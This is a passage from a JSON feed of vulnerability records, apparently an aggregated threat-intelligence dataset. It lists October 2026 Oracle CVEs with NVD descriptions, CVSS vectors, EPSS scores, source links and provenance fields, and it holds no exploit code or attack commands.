and percentile for CVE-2026-101746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101744","cveId":"CVE-2026-101744","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).","summary":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Engineering Data Management.  While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).","detail":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Engineering Data Management.  While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:29.417Z","updatedAt":"2026-10-22T16:17:15.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101744","asOf":"2026-10-22T16:17:15.040Z"},"epss":{"probability":0.003,"percentile":0.22458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101744","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101744","type":"primary","publishedAt":"2026-10-20T22:18:29.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101742","cveId":"CVE-2026-101742","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).","summary":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:29.200Z","updatedAt":"2026-10-22T16:17:14.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101742","asOf":"2026-10-22T16:17:14.890Z"},"epss":{"probability":0.00433,"percentile":0.37302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101742&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101742","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101742","type":"primary","publishedAt":"2026-10-20T22:18:29.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101742&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101742, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101739","cveId":"CVE-2026-101739","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).","summary":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:28.860Z","updatedAt":"2026-10-22T16:17:14.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101739","asOf":"2026-10-22T16:17:14.760Z"},"epss":{"probability":0.00129,"percentile":0.02529,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101739","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101739","type":"primary","publishedAt":"2026-10-20T22:18:28.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101736","cveId":"CVE-2026-101736","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).","summary":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).  Supported versions that are affected are 21.12.0-21.12.17. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized access to critical data or complete access to all Primavera Unifier accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).  Supported versions that are affected are 21.12.0-21.12.17. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized access to critical data or complete access to all Primavera Unifier accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:28.527Z","updatedAt":"2026-10-24T04:18:14.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101736","asOf":"2026-10-24T04:18:14.837Z"},"epss":{"probability":0.00345,"percentile":0.27769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101736","type":"primary","publishedAt":"2026-10-20T22:18:28.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101735","cveId":"CVE-2026-101735","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).","summary":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).  Supported versions that are affected are 23.12.0-23.12.16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized read access to a subset of Primavera Unifier accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).","detail":"Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).  Supported versions that are affected are 23.12.0-23.12.16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized read access to a subset of Primavera Unifier accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:28.417Z","updatedAt":"2026-10-22T18:17:17.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101735","asOf":"2026-10-22T18:17:17.850Z"},"epss":{"probability":0.00296,"percentile":0.22073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101735&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101735","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101735","type":"primary","publishedAt":"2026-10-20T22:18:28.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101735&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101735, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101719","cveId":"CVE-2026-101719","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).","summary":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).   The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).   The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:26.617Z","updatedAt":"2026-10-22T16:17:14.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101719","asOf":"2026-10-22T16:17:14.090Z"},"epss":{"probability":0.00348,"percentile":0.281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101719","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101719","type":"primary","publishedAt":"2026-10-20T22:18:26.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101712","cveId":"CVE-2026-101712","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:25.803Z","updatedAt":"2026-10-22T16:17:13.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101712","asOf":"2026-10-22T16:17:13.720Z"},"epss":{"probability":0.00359,"percentile":0.29372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101712","type":"primary","publishedAt":"2026-10-20T22:18:25.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101708","cveId":"CVE-2026-101708","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:25.330Z","updatedAt":"2026-10-22T16:17:13.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101708","asOf":"2026-10-22T16:17:13.240Z"},"epss":{"probability":0.00359,"percentile":0.29372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101708","type":"primary","publishedAt":"2026-10-20T22:18:25.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101707","cveId":"CVE-2026-101707","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).","summary":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Concurrent Processing accessible data as well as  unauthorized access to critical data or complete access to all Oracle Concurrent Processing accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Concurrent Processing accessible data as well as  unauthorized access to critical data or complete access to all Oracle Concurrent Processing accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:25.207Z","updatedAt":"2026-10-22T16:17:13.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101707","asOf":"2026-10-22T16:17:13.103Z"},"epss":{"probability":0.0036,"percentile":0.29481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101707","type":"primary","publishedAt":"2026-10-20T22:18:25.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101705","cveId":"CVE-2026-101705","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).","summary":"Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Common Applications.  While the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical 